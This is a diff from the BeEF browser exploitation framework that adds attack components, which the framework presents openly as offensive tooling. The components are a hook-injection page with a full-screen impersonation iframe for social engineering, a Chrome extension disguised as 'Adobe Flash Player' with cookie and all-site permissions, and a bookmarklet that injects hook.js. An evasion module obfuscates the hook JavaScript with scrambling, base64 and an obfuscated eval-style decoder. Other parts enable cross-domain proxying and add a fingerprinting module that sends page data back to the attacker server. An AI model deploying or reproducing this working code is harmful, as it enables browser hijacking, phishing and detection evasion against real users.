screen_params_hash = JSON.parse(screen_params.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
width = screen_params_hash['width']
height = screen_params_hash['height']
colordepth = screen_params_hash['colordepth']
screen_size_hash = JSON.parse(screen_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
width = screen_size_hash['width']
height = screen_size_hash['height']
colordepth = screen_size_hash['colordepth']
# construct the string to be displayed in the details tab
encoded_screen_params = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s + ", Colour Depth: " + colordepth.to_s)
encoded_screen_params_hash = { 'Screen Params' => encoded_screen_params }
encoded_screen_size = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s + ", Colour Depth: " + colordepth.to_s)
encoded_screen_size_hash = { 'Screen Size' => encoded_screen_size }
page_name_row = {
'category' => 'Host',
'data' => encoded_screen_params_hash,
'data' => encoded_screen_size_hash,
'from' => 'Initialization'
}

View File

@@ -0,0 +1,38 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Extension
module Customhook
module RegisterHttpHandlers
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start')
def self.mount_handler(beef_server)
configuration = BeEF::Core::Configuration.instance
beef_server.mount(configuration.get("beef.extension.customhook.customhook_path"), BeEF::Extension::Customhook::Handler.new)
end
def self.pre_http_start(beef_server)
configuration = BeEF::Core::Configuration.instance
print_success "Successfully mounted a custom hook point"
print_more "Mount Point: #{configuration.get('beef.extension.customhook.customhook_path')}\nLoading iFrame: #{configuration.get('beef.extension.customhook.customhook_target')}\n"
end
end
end
end
end

View File

@@ -0,0 +1,24 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
extension:
customhook:
enable: false
name: 'Custom Hook Point with iFrame Impersonation'
customhook_path: "/yougotchipmunked"
customhook_target: "http://www.chipmunks.com"
customhook_title: "Alvin and the Chipmunks.."

View File

@@ -0,0 +1,33 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Extension
module Customhook
extend BeEF::API::Extension
@short_name = 'customhook'
@full_name = 'Custom Hook Point with iFrame Impersonation'
@description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks'
end
end
end
require 'extensions/customhook/api'
require 'extensions/customhook/handler'

View File

@@ -0,0 +1,61 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Extension
module Customhook
class Handler
def call(env)
@body = ''
@request = Rack::Request.new(env)
@params = @request.query_string
@response = Rack::Response.new(body=[], 200, header={})
config = BeEF::Core::Configuration.instance
eruby = Erubis::FastEruby.new(File.read(File.dirname(__FILE__)+'/html/index.html'))
@body << eruby.evaluate({'customhook_target' => config.get("beef.extension.customhook.customhook_target"),
'customhook_title' => config.get("beef.extension.customhook.customhook_title")})
@response = Rack::Response.new(
body = [@body],
status = 200,
header = {
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0',
'Content-Type' => 'text/html',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST, GET'
}
)
end
private
# @note Object representing the HTTP request
@request
# @note Object representing the HTTP response
@response
end
end
end
end

View File

@@ -0,0 +1,18 @@
<html>
<head>
<title><%= @customhook_title %></title>
<script>
var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>';
document.write(commandModuleStr);
</script>
</head>
<body>
<script>
setTimeout("beef.dom.createIframe('fullscreen','get',{'src':'<%= @customhook_target %>'},{},null)",2000);
document.body.scroll = "no";
document.documentElement.style.overflow = 'hidden';
//Porco dio - and away we go!
</script>
</body>
</html>

View File

@@ -0,0 +1,4 @@
d=document;
e=d.createElement('script');
e.src="http://127.0.0.1:3000/hook.js";
d.body.appendChild(e);

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.6 KiB

View File

@@ -0,0 +1,26 @@
{
// Simple chrome extension
// Just loads beef into the extension context.
//
// You may need to set the IP address of the beef hook in background.js
// Then you can pack the extension (from within the chrome extensions page) and add the crx file to extensions/demos/html/
"name": "Adobe Flash Player",
"version": "11.2.202.235",
"description": "Introduces vulnerabilites into web browsers",
"background": {
"scripts": ["background.js"]
},
"icons": {
"16": "icon16.png",
"48": "icon48.png",
"128": "icon128.png"
},
"permissions": [
"tabs",
"http://*/*",
"https://*/*",
"file://*/*",
"cookies"
]
}

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

View File

@@ -15,12 +15,12 @@
</p>
<p>
These links are for demonstrating the "collect links" command module<br />
These links are for demonstrating the "Get Page HREFs" command module<br />
<ul>
<li><a href="http://beefproject.com" target="_blank">BeEF homepage</a>
<li><a href="http://beefproject.com" target="_blank">The Browser Exploitation Framework Project homepage</a>
<li><a href="http://ha.ckers.org/" target="_blank">ha.ckers.org homepage</a>
<li><a href="http://slashdot.org/" target="_blank">Nerd homepage</a>
<li><a href="http://slashdot.org/" target="_blank">Slashdot</a>
</ul>
</p>

View File

@@ -0,0 +1,4 @@
<p>&nbsp;</p>
<a href="#" onclick="javascript:alert('You clicked a link at '+window.location);">moooooooo</a>
<p>&nbsp;</p>

View File

@@ -0,0 +1,28 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
extension:
evasion:
enable: true
name: 'Evasion'
authors: ["antisnatchor"]
scramble_variables: true
scramble_cookies: true
scramble:
beef: "beef"
Beef: "Beef"
evercookie: "evercookie"
chain: ["scramble","minify","base_64"]

View File

@@ -0,0 +1,71 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Extension
module Evasion
class Evasion
include Singleton
@@config = BeEF::Core::Configuration.instance
@@techniques = @@config.get('beef.extension.evasion.chain')
def initialize
end
# Obfuscate the input JS applying the chain of techniques defined in the main config file.
def obfuscate(input)
@input = apply_chain(input, @@techniques)
end
def add_bootstrapper
@bootstrap = ''
# add stuff at the end, only once (when serving the initial init javascript)
@@techniques.each do |technique|
#1. get the ruby module inside the obfuscation directory: the file name will be the same of the string used in "chain"
#2. call the "execute" method of the ruby module, passing the input
#3. update the input in order that next technique will work on the pre-processed input.
if File.exists?("#{$root_dir}/extensions/evasion/obfuscation/#{technique}.rb")
print_debug "[OBFUSCATION] Applying technique [#{technique}]"
klass = BeEF::Extension::Evasion.const_get(technique.capitalize).instance
is_bootstrap_needed = klass.need_bootstrap
if is_bootstrap_needed
@bootstrap += klass.get_bootstrap
end
end
@bootstrap
end
@bootstrap
end
def apply_chain(input, techniques)
@output = input
techniques.each do |technique|
#1. get the ruby module inside the obfuscation directory: the file name will be the same of the string used in "chain"
#2. call the "execute" method of the ruby module, passing the input
#3. update the input in order that next technique will work on the pre-processed input.
if File.exists?("#{$root_dir}/extensions/evasion/obfuscation/#{technique}.rb")
print_debug "[OBFUSCATION] Applying technique [#{technique}]"
klass = BeEF::Extension::Evasion.const_get(technique.capitalize).instance
@output = klass.execute(@output, @@config)
end
@output
end
@output
end
end
end
end
end

View File

@@ -0,0 +1,32 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Extension
module Evasion
extend BeEF::API::Extension
@short_name = 'evasion'
@full_name = 'Evasion'
@description = 'Contains Evasion and Obfuscation techniques to prevent the likelihood that BeEF will be detected'
end
end
end
require 'extensions/evasion/evasion'
require 'extensions/evasion/helper'
require 'extensions/evasion/obfuscation/scramble'
require 'extensions/evasion/obfuscation/minify'
require 'extensions/evasion/obfuscation/base_64'

View File

@@ -0,0 +1,33 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Extension
module Evasion
# Common methods used by multiple obfuscation techniques
module Helper
def self.random_string(length=5)
chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ'
result = ''
length.times { result << chars[rand(chars.size)] }
result
end
end
end
end
end

View File

@@ -0,0 +1,43 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Extension
module Evasion
class Base_64
include Singleton
def need_bootstrap
true
end
def get_bootstrap
# the decode function is obfuscated, and it's called "dec" (see below in "execute", where it is used)
decode_function = 'var _0x33db=["\x61\x74\x6F\x62","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x6A\x6F\x69\x6E"];function dec(_0x487fx2){if(window[_0x33db[0]]){return atob(_0x487fx2);} ;var _0x487fx3=_0x33db[1];var _0x487fx4,_0x487fx5,_0x487fx6,_0x487fx7,_0x487fx8,_0x487fx9,_0x487fxa,_0x487fxb,_0x487fxc=0,_0x487fxd=0,dec=_0x33db[2],_0x487fxe=[];if(!_0x487fx2){return _0x487fx2;} ;_0x487fx2+=_0x33db[2];do{_0x487fx7=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx8=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx9=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxa=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxb=_0x487fx7<<18|_0x487fx8<<12|_0x487fx9<<6|_0x487fxa;_0x487fx4=_0x487fxb>>16&0xff;_0x487fx5=_0x487fxb>>8&0xff;_0x487fx6=_0x487fxb&0xff;if(_0x487fx9==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4);} else {if(_0x487fxa==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5);} else {_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5,_0x487fx6);} ;} ;} while(_0x487fxc<_0x487fx2[_0x33db[6]]);;dec=_0x487fxe[_0x33db[7]](_0x33db[2]);return dec;};'
end
def execute(input, config)
encoded = Base64.strict_encode64(input)
# basically, use atob if supported otherwise a normal base64 JS implementation (ie.: IE :-)
var_name = BeEF::Extension::Evasion::Helper::random_string(3)
input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(dec(#{var_name}))();"
print_debug "[OBFUSCATION - BASE64] Javascript has been base64'ed'"
input
end
end
end
end
end

View File

@@ -0,0 +1,36 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Extension
module Evasion
require 'jsmin'
class Minify
include Singleton
def need_bootstrap
false
end
def execute(input, config)
input = JSMin.minify(input)
print_debug "[OBFUSCATION - MINIFIER] Javascript has been minified"
input
end
end
end
end
end

View File

@@ -0,0 +1,64 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Extension
module Evasion
class Scramble
include Singleton
def need_bootstrap
false
end
def execute(input, config)
@output = input
to_scramble = config.get('beef.extension.evasion.scramble')
to_scramble.each do |var, value|
if var == value
# Variables have not been scrambled yet
mod_var = BeEF::Extension::Evasion::Helper::random_string(3)
@output.gsub!(var,mod_var)
config.set("beef.extension.evasion.scramble.#{var}",mod_var)
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]"
else
# Variables already scrambled, re-use the one already created to maintain consistency
@output.gsub!(var,value)
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]"
end
@output
end
if config.get('beef.extension.evasion.scramble_cookies')
# ideally this should not be static, but it's static in JS code, so fine for nowend
mod_cookie = BeEF::Extension::Evasion::Helper::random_string(5)
if config.get('beef.http.hook_session_name') == "BEEFHOOK"
@output.gsub!("BEEFHOOK",mod_cookie)
config.set('beef.http.hook_session_name',mod_cookie)
print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{mod_cookie}]"
else
@output.gsub!("BEEFHOOK",config.get('beef.http.hook_session_name'))
print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{config.get('beef.http.hook_session_name')}]"
end
end
@output
end
end
end
end
end

View File

@@ -82,10 +82,10 @@ module BeEF
:path => uri.path,
:request_date => Time.now,
:hooked_browser_id => self.get_tunneling_proxy,
:allow_cross_domain => "false"
:allow_cross_domain => "true"
)
http.save
print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}]")
print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}], cross domain[#{http.allow_cross_domain}]")
# Wait for the HTTP response to be stored in the db.
# TODO: re-implement this with EventMachine or with the Observer pattern.

View File

@@ -34,18 +34,45 @@ module BeEF
}
return if output.empty?
config = BeEF::Core::Configuration.instance
ws = BeEF::Core::Websocket::Websocket.instance
# Build the BeEFJS requester component
build_missing_beefjs_components 'beef.net.requester'
# todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again.
#todo antisnatchor: remove this gsub crap adding some hook packing.
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path 'beef.net.requester').gsub('//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//', "")
add_to_body output
ws.send(content + @body,hb.session)
#if we use WebSockets, just reply wih the component contents
else # if we use XHR-polling, add the component to the main hook file
build_missing_beefjs_components 'beef.net.requester'
# Send the command to perform the requests to the hooked browser
add_to_body output
end
end
# Send the command to perform the requests to the hooked browser
def add_to_body(output)
@body << %Q{
beef.execute(function() {
beef.net.requester.send(
#{output.to_json}
);
});
}
beef.execute(function() {
beef.net.requester.send(
#{output.to_json}
);
});
}
end
#

View File

@@ -27,7 +27,7 @@ module BeEF
#
def start_scan(hb, body)
@body = body
config = BeEF::Core::Configuration.instance
hb = BeEF::Core::Models::HookedBrowser.first(:id => hb.id)
#TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested
#TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want
@@ -40,23 +40,52 @@ module BeEF
xs.update(:is_started => true)
# build the beefjs xssrays component
build_missing_beefjs_components 'beef.net.xssrays'
# the URI of the XssRays handler where rays should come back if the vulnerability is verified
beefurl = BeEF::Core::Server.instance.url
cross_domain = xs.cross_domain
timeout = xs.clean_timeout
debug = BeEF::Core::Configuration.instance.get("beef.extension.xssrays.js_console_logs")
debug = config.get("beef.extension.xssrays.js_console_logs")
@body << %Q{
beef.execute(function() {
beef.net.xssrays.startScan('#{xs.id}', '#{hb.session}', '#{beefurl}', #{cross_domain}, #{timeout}, #{debug});
});
}
ws = BeEF::Core::Websocket::Websocket.instance
# todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again.
# todo antisnatchor: remove this gsub crap adding some hook packing.
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path 'beef.net.xssrays').gsub('//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//', "")
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout, debug
ws.send(content + @body,hb.session)
#if we use WebSockets, just reply wih the component contents
else # if we use XHR-polling, add the component to the main hook file
build_missing_beefjs_components 'beef.net.xssrays'
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout, debug
end
print_debug("[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross domain [#{cross_domain}], clean timeout [#{timeout}], js console debug [#{debug}].")
end
def add_to_body(id, session, beefurl, cross_domain, timeout, debug)
@body << %Q{
beef.execute(function() {
beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_domain}, #{timeout}, #{debug});
});
}
end
end
end
end

View File

@@ -22,4 +22,4 @@ beef:
clean_timeout: 3000
cross_domain: true
# set js_console_logs to false when using BeEF in production (also because IE < 9 doesn't support the console object)
js_console_logs: false
js_console_logs: true

171
install-beef Normal file
View File

@@ -0,0 +1,171 @@
#!/bin/bash
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
clear
echo "======================================"
echo " BeEF Installer "
echo "======================================"
echo ""
echo "CAUTION: This installation script will install a number of BeEF dependencies including the Ruby-RVM environemnt and it's dependencies."
echo ""
echo "In rare cases, this may lead to unexpected behaviour or package conflicts on some systems."
echo ""
read -p "Are you sure you wish to continue (Y/n)? "
if [ "`echo ${REPLY} | tr [:upper:] [:lower:]`" == "n" ] ; then
exit;
fi
echo ""
echo "Detecting OS..";
OS=`uname`
if [ "${OS}" = "Linux" ] ; then
if [ -f /etc/redhat-release ] ; then
Distro='RedHat'
elif [ -f /etc/debian_version ] ; then
Distro='Debian'
fi
readonly OS
readonly Distro
fi
if [ "$OS" == "Darwin" ]; then
echo "Mac OSX Detected"
echo "Installing Ruby Version Manager (RVM) & Ruby 1.9.3.."
bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer)
source ~/.bash_login
rvm install 1.9.3-p0 --with-gcc=clang
rvm use 1.9.3-p0
echo ""
echo "Downloading BeEF.."
git clone git://github.com/beefproject/beef.git
cd beef
echo ""
echo "Installing Ruby Gems.."
bundle install
OK="yes"
./beef
echo ""
echo "=========================================="
echo " Install Complete"
echo "Please restart Terminal and Run BeEF with:"
echo " $ ./beef "
echo "=========================================="
echo ""
fi
if [ "$Distro" == "Debian" ]; then
echo "Debian/Ubuntu Detected"
echo "Installing Prerequisite Packages.."
sudo apt-get update
sudo apt-get install curl git
sudo apt-get install build-essential openssl libreadline6 libreadline6-dev zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-0 libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev autoconf libc6-dev libncurses5-dev automake libtool bison subversion
bash < <(curl -sk https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer)
echo '[[ -s "$HOME/.rvm/scripts/rvm" ]] && . "$HOME/.rvm/scripts/rvm"' >> ~/.bashrc
source ~/.bashrc
source $HOME/.rvm/scripts/rvm
rvm install 1.9.2
rvm use 1.9.2 --default
echo "Downloading BeEF.."
git clone git://github.com/beefproject/beef.git
cd beef
echo "Installing Ruby Gems"
gem install bundler
bundle install
./beef
OK="yes"
echo ""
echo "=========================================="
echo " Install Complete"
echo "=========================================="
echo ""
fi
if [ "$Distro" == "RedHat" ]; then
echo "Redhat/Fedora Detected"
echo "Installing Prerequisite Packages.."
sudo yum install -y git make gcc openssl-devel gcc-c++ patch readline readline-devel zlib zlib-devel libyaml-devel libffi-devel bzip2 autoconf automake libtool bison iconv-devel sqlite-devel
echo ""
echo "Installing Ruby Version Manager (RVM) & Ruby 1.9.2"
wget https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer
bash ./rvm-installer
source ~/.rvm/scripts/rvm
rvm pkg install openssl
rvm install 1.9.2 --with-openssl-dir=$rvm_path/usr
source ~/.rvm/scripts/rvm
rvm use 1.9.2 --default
echo "Downloading BeEF.."
git clone git://github.com/beefproject/beef.git
cd beef
gem install bundler
bundle
source ~/.bash_profile
./beef
OK="yes"
echo ""
echo "=========================================="
echo " Install Complete"
echo "=========================================="
echo ""
fi
if [ "$OK" == "yes" ]; then
echo ""
else
echo ""
echo "======================================="
echo " Install Failed"
echo "Unable to locate installer for your OS:"
echo $OS
echo $Distro
echo "======================================="
echo ""
fi

View File

@@ -0,0 +1,96 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
//Regular expression to match script names in source
var regex = new RegExp('/\\w*\.(min\.)?js');
var results = [];
var urls = "";
Array.prototype.unique = function() {
var o = {}, i, l = this.length, r = [];
for(i=0; i<l;i+=1) o[this[i]] = this[i];
for(i in o) r.push(o[i]);
return r;
};
// Fingerprints of javascript /ajax libraries . Library Name: Array of common file names
var fingerprints = {
"Prototype":new Array("prototype"),
"script.aculous":new Array("builder","controls","dragdrop","effects","scriptaculous","slider","unittest"),
"Dojo":new Array("dojo.uncompressed","uncompressed","dojo"),
"DWR":new Array("auth","engine","util"),
"Moo.fx/":new Array("Moo","Function","Array","String","Element","Fx","Dom","Ajax","Drag","Windows","Cookie","Json","Sortable","Fxpack","Fxutils","Fxtransition","Tips","Accordion"),
"Rico": new Array("rico","ricoAjax","ricoCommon","ricoEffects","ricoBehaviours","ricoDragDrop","ricoComponents"),
"Mootools":new Array("mootools","mootools-core-1.4-full","mootools-more-1.4-full"),
"Mochikit":new Array("Mochikit"),
"Yahoo UI!": new Array("animation","autocomplete","calendar","connection","container","dom","enevet","logger","menu","slider","tabview","treeview","utilities","yahoo","yahoo-dom-event"),
"xjax":new Array("xajax","xajax_uncompressed"),
"GWT": new Array("gwt","search-results"),
"Atlas": new Array("AtlasRuntime","AtlasBindings","AtlasCompat","AtlasCompat2"),
"jquery":new Array("jquery","jquery-latest","jquery-latest","jquery-1.5"),
"ExtJS":new Array("ext-all"),
"Prettify":new Array("prettify"),
"Spry": new Array("SpryTabbedPanels","SpryDOMUtils","SpryData","SpryXML","SpryUtils","SpryURLUtils","SpryDataExtensions","SpryDataShell","SpryEffects","SpryPagedView","SpryXML"),
"Google JS Libs":new Array("xpath","urchin","ga"),
"Libxmlrequest":new Array("libxmlrequest"),
"jx":new Array ("jx","jxs"),
"bajax":new Array("bajax"),
"AJS": new Array ("AJS","AJS_fx"),
"Greybox":new Array("gb_scripts.js"),
"Qooxdoo":new Array("qx.website-devel","qooxdoo-1.6","qooxdoo-1.5.1","qxserver","q","q.domain","q.sticky","q.placeholder","shCore","shBrushScript"),
};
function fp() {
try{
var sc = document.scripts;
var urls ="";
var source = ""
if (sc != null){
for (sc in document.scripts){
source =document.scripts[sc]['src'] || "";
if(source !=""){
//get the script file name and remove unnecessary endings and such
var comp = source.match(regex).toString().replace(new RegExp("/|.min|.pack|.uncompressed|.js\\W","g"),"");
for (key in fingerprints){
for (name in fingerprints[key]){
// match name in the fingerprint object
if(comp==fingerprints[key][name]){
results.push("Lib:"+key+" src:"+source);
}
}
}
}
}
}
if(results.length >0){
urls=results.unique().join('||');
beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+urls);
}
else{
beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+urls);
}
}
catch(e){
results = "Fingerprint failed: "+e.message;
beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+results.toString());
}
}
fp();
});

View File

@@ -0,0 +1,27 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
ajax_fingerprint:
enable: true
category: ["Browser","Hooked Domain"]
name: "Fingerprint Ajax"
description: "Fingerprint Ajax and JS libraries present on the hooked page."
authors: ["qswain"]
target:
working: ["FF","S"]
not_working: ["C"]

View File

@@ -0,0 +1,27 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
